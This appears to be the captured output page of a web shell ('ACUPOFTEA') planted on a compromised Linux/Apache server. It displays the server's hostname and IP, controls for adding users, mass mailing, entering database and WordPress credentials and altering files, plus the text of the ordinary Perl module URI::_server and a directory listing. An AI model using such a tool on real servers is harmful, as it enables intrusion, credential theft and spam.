System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
perl5
/
URI
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
_server.pm
package URI::_server; use strict; use warnings; use parent 'URI::_generic'; use URI::Escape qw(uri_unescape); our $VERSION = '1.73'; $VERSION = eval $VERSION; sub _uric_escape { my($class, $str) = @_; if ($str =~ m,^((?:$URI::scheme_re:)?)//([^/?\#]*)(.*)$,os) { my($scheme, $host, $rest) = ($1, $2, $3); my $ui = $host =~ s/(.*@)// ? $1 : ""; my $port = $host =~ s/(:\d+)\z// ? $1 : ""; if (_host_escape($host)) { $str = "$scheme//$ui$host$port$rest"; } } return $class->SUPER::_uric_escape($str); } sub _host_escape { return unless $_[0] =~ /[^$URI::uric]/; eval { require URI::_idna; $_[0] = URI::_idna::encode($_[0]); }; return 0 if $@; return 1; } sub as_iri { my $self = shift; my $str = $self->SUPER::as_iri; if ($str =~ /\bxn--/) { if ($str =~ m,^((?:$URI::scheme_re:)?)//([^/?\#]*)(.*)$,os) { my($scheme, $host, $rest) = ($1, $2, $3); my $ui = $host =~ s/(.*@)// ? $1 : ""; my $port = $host =~ s/(:\d+)\z// ? $1 : ""; require URI::_idna; $host = URI::_idna::decode($host); $str = "$scheme//$ui$host$port$rest"; } } return $str; } sub userinfo { my $self = shift; my $old = $self->authority; if (@_) { my $new = $old; $new = "" unless defined $new; $new =~ s/.*@//; # remove old stuff my $ui = shift; if (defined $ui) { $ui =~ s/@/%40/g; # protect @ $new = "$ui\@$new"; } $self->authority($new); } return undef if !defined($old) || $old !~ /(.*)@/; return $1; } sub host { my $self = shift; my $old = $self->authority; if (@_) { my $tmp = $old; $tmp = "" unless defined $tmp; my $ui = ($tmp =~ /(.*@)/) ? $1 : ""; my $port = ($tmp =~ /(:\d+)$/) ? $1 : ""; my $new = shift; $new = "" unless defined $new; if (length $new) { $new =~ s/[@]/%40/g; # protect @ if ($new =~ /^[^:]*:\d*\z/ || $new =~ /]:\d*\z/) { $new =~ s/(:\d*)\z// || die "Assert"; $port = $1; } $new = "[$new]" if $new =~ /:/ && $new !~ /^\[/; # IPv6 address _host_escape($new); } $self->authority("$ui$new$port"); } return undef unless defined $old; $old =~ s/.*@//; $old =~ s/:\d+$//; # remove the port $old =~ s{^\[(.*)\]$}{$1}; # remove brackets around IPv6 (RFC 3986 3.2.2) return uri_unescape($old); } sub ihost { my $self = shift; my $old = $self->host(@_); if ($old =~ /(^|\.)xn--/) { require URI::_idna; $old = URI::_idna::decode($old); } return $old; } sub _port { my $self = shift; my $old = $self->authority; if (@_) { my $new = $old; $new =~ s/:\d*$//; my $port = shift; $new .= ":$port" if defined $port; $self->authority($new); } return $1 if defined($old) && $old =~ /:(\d*)$/; return; } sub port { my $self = shift; my $port = $self->_port(@_); $port = $self->default_port if !defined($port) || $port eq ""; $port; } sub host_port { my $self = shift; my $old = $self->authority; $self->host(shift) if @_; return undef unless defined $old; $old =~ s/.*@//; # zap userinfo $old =~ s/:$//; # empty port should be treated the same a no port $old .= ":" . $self->port unless $old =~ /:\d+$/; $old; } sub default_port { undef } sub canonical { my $self = shift; my $other = $self->SUPER::canonical; my $host = $other->host || ""; my $port = $other->_port; my $uc_host = $host =~ /[A-Z]/; my $def_port = defined($port) && ($port eq "" || $port == $self->default_port); if ($uc_host || $def_port) { $other = $other->clone if $other == $self; $other->host(lc $host) if $uc_host; $other->port(undef) if $def_port; } $other; } 1;
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-03-13 04:36:40
..
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
file
DIR
-
drwxr-xr-x
2024-03-13 04:36:40
urn
DIR
-
drwxr-xr-x
2024-03-13 04:36:40
Escape.pm
text/plain
6.9 KB
-rw-r--r--
2018-01-09 06:42:55
Heuristic.pm
text/plain
6.37 KB
-rw-r--r--
2018-01-09 06:42:55
IRI.pm
text/plain
820 B
-rw-r--r--
2018-01-09 06:42:55
QueryParam.pm
text/plain
4.77 KB
-rw-r--r--
2018-01-09 06:42:55
Split.pm
text/plain
2.32 KB
-rw-r--r--
2018-01-09 06:42:55
URL.pm
text/plain
5.36 KB
-rw-r--r--
2018-01-09 06:42:55
WithBase.pm
text/plain
3.77 KB
-rw-r--r--
2018-01-09 06:42:55
_foreign.pm
text/plain
133 B
-rw-r--r--
2018-01-09 06:42:55
_generic.pm
text/plain
5.71 KB
-rw-r--r--
2018-01-09 06:42:55
_idna.pm
text/plain
2.06 KB
-rw-r--r--
2018-01-09 06:42:55
_ldap.pm
text/plain
3.2 KB
-rw-r--r--
2018-01-09 06:42:55
_login.pm
text/plain
257 B
-rw-r--r--
2018-01-09 06:42:55
_punycode.pm
text/plain
5.52 KB
-rw-r--r--
2018-01-09 06:42:55
_query.pm
text/plain
2.5 KB
-rw-r--r--
2018-01-09 06:42:55
_segment.pm
text/plain
442 B
-rw-r--r--
2018-01-09 06:42:55
_server.pm
text/plain
3.66 KB
-rw-r--r--
2018-01-09 06:42:55
_userpass.pm
text/plain
1.04 KB
-rw-r--r--
2018-01-09 06:42:55
data.pm
text/plain
3.34 KB
-rw-r--r--
2018-01-09 06:42:55
file.pm
text/plain
9.53 KB
-rw-r--r--
2018-01-09 06:42:55
ftp.pm
text/plain
1.06 KB
-rw-r--r--
2018-01-09 06:42:55
gopher.pm
text/plain
2.4 KB
-rw-r--r--
2018-01-09 06:42:55
http.pm
text/plain
451 B
-rw-r--r--
2018-01-09 06:42:55
https.pm
text/plain
170 B
-rw-r--r--
2018-01-09 06:42:55
ldap.pm
text/plain
2.88 KB
-rw-r--r--
2018-01-09 06:42:55
ldapi.pm
text/plain
467 B
-rw-r--r--
2018-01-09 06:42:55
ldaps.pm
text/plain
170 B
-rw-r--r--
2018-01-09 06:42:55
mailto.pm
text/plain
1.27 KB
-rw-r--r--
2018-01-09 06:42:55
mms.pm
text/plain
151 B
-rw-r--r--
2018-01-09 06:42:55
news.pm
text/plain
1.45 KB
-rw-r--r--
2018-01-09 06:42:55
nntp.pm
text/plain
153 B
-rw-r--r--
2018-01-09 06:42:55
pop.pm
text/plain
1.2 KB
-rw-r--r--
2018-01-09 06:42:55
rlogin.pm
text/plain
155 B
-rw-r--r--
2018-01-09 06:42:55
rsync.pm
text/plain
233 B
-rw-r--r--
2018-01-09 06:42:55
rtsp.pm
text/plain
151 B
-rw-r--r--
2018-01-09 06:42:55
rtspu.pm
text/plain
152 B
-rw-r--r--
2018-01-09 06:42:55
sftp.pm
text/plain
124 B
-rw-r--r--
2018-01-09 06:42:55
sip.pm
text/plain
1.69 KB
-rw-r--r--
2018-01-09 06:42:55
sips.pm
text/plain
169 B
-rw-r--r--
2018-01-09 06:42:55
snews.pm
text/plain
198 B
-rw-r--r--
2018-01-09 06:42:55
ssh.pm
text/plain
201 B
-rw-r--r--
2018-01-09 06:42:55
telnet.pm
text/plain
154 B
-rw-r--r--
2018-01-09 06:42:55
tn3270.pm
text/plain
154 B
-rw-r--r--
2018-01-09 06:42:55
urn.pm
text/plain
2.15 KB
-rw-r--r--
2018-01-09 06:42:55
~ ACUPOFTEA - mail.ontime-ae.com